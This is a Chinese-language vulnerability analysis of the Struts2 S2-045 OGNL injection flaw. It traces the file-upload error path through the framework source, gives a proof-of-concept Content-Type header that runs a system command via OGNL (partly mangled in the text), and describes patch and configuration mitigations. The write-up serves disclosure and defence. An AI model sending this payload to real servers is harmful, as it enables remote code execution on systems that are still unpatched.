Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞
漏洞分析
1. Struts 的上傳request
在上傳文件裏,Struts默認使用的是common upload 的上傳組件, 爲了能被action訪問到上傳的文件,通常會重新封裝request, Spring也是這麼做。
JakartaStreamMultiPartRequest.java中
public void parse(HttpServletRequest request, String saveDir)
throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (Exception e) {
e.printStackTrace();
String errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage))
errors.add(errorMessage);
}
}
當解析上傳協議拋出異常的時候,struts 會去嘗試去構建錯誤信息
protected String buildErrorMessage(Throwable e, Object[] args) {
String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
if (LOG.isDebugEnabled()) {
LOG.debug("Preparing error message for key: [#0]", errorKey);
}
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}
爲了保證錯誤信息可以支持多語言,在構建上傳錯誤的時候,使用了localizedTextUtil,
1. 使用struts.messages.upload.error. classname 作爲資源的文件的key
2. 直接使用了異常的message 作爲查找的默認message
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
ValueStack valueStack) {
String indexedTextName = null;
......
// get default
GetDefaultMessageReturnArg result;
if (indexedTextName == null) {
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
} else {
result = getDefaultMessage(aTextName, locale, valueStack, args, null);
if (result != null && result.message != null) {
return result.message;
}
result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
}
// could we find the text, if not log a warn
if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
String warn = "Unable to find text for key '" + aTextName + "' ";
if (indexedTextName != null) {
warn += " or indexed key '" + indexedTextName + "' ";
}
warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
LOG.debug(warn);
}
return result != null ? result.message : null;
}
struts 嘗試從default message裏獲取內容
/**
* Gets the default message.
*/
private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
String defaultMessage) {
GetDefaultMessageReturnArg result = null;
boolean found = true;
if (key != null) {
String message = findDefaultText(key, locale);
if (message == null) {
message = defaultMessage;
found = false; // not found in bundles
}
// defaultMessage may be null
if (message != null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
String msg = formatWithNullDetection(mf, args);
result = new GetDefaultMessageReturnArg(msg, found);
}
}
return result;
}
傳入的key無法在資源文件中找到的時候,會直接使用默認的message 也就是剛纔的異常的信息作爲返回的信息,但是在將message格式化的時候,struts定義的message 使用了TextParseUtil.translateVariables 轉化message裏的參數,熟悉OGNL的人都知道,TextParseUtil.translateVariables 是支持OGNL的
TextParseUtil.translateVariables
可以執行在message體中的${ognl}或者%{ognl}OGNL表達式格式
2. Common Upload file 的處理
既然在Struts裏是可以直接執行異常裏的錯誤信息,那麼在common upload file 組件的異常裏我們看看哪些是會把客戶端傳遞的值作爲錯誤信息返回
很幸運,我們在FileUploadBase.java中,發現了一個方法
FileItemIteratorImpl(RequestContext ctx)
throws FileUploadException, IOException {
if (ctx == null) {
throw new NullPointerException("ctx parameter");
}
String contentType = ctx.getContentType();
if ((null == contentType)
|| (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
throw new InvalidContentTypeException(
format("the request doesn't contain a %s or %s stream, content type header is %s",
MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
}
當content type不是以multipart/爲頭的時候,就會拋出異常,並且直接將客戶端輸入的信息,作爲異常信息返回
3.各自的content-type校驗
Struts 在dispatch 裏在封裝request的時候做了一次content-type校驗
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
// don't wrap more than once
if (request instanceof StrutsRequestWrapper) {
return request;
}
String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
}
結果竟然是contains, 而在upload file裏做的校驗是以multipart/爲頭,真不知道struts 爲何在做標準協議解析的時候如此隨便?
構造我們的poc
a. 顯然是content-type入手
b. 構造 test multipart/form-data 繞過struts的dispatch的防禦
c. 繼續添加常見的OGNL的表達式
%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
完整的POC
content-type:test multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundary=AaB03x
防禦
1. 升級struts
Struts 禁止了異常的信息可執行OGNL表達式,在2.3.32版本中
if (LocalizedTextUtil.findText(this.getClass(), errorKey, getLocale(), null, new Object[0]) == null) {
return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}
異常信息只是作爲參數傳遞顯示了2. 臨時解決方案
在資源文件中配置,讓struts能從資源文件中獲取到值
struts.messages.upload.error.InvalidContentTypeException=exception
注意:這裏要仔細檢查common upload的代碼,或者自己封裝的MultiPartRequest,如果還有直接輸出客戶端的輸入的時候,需要寫全
struts.messages.upload.error.*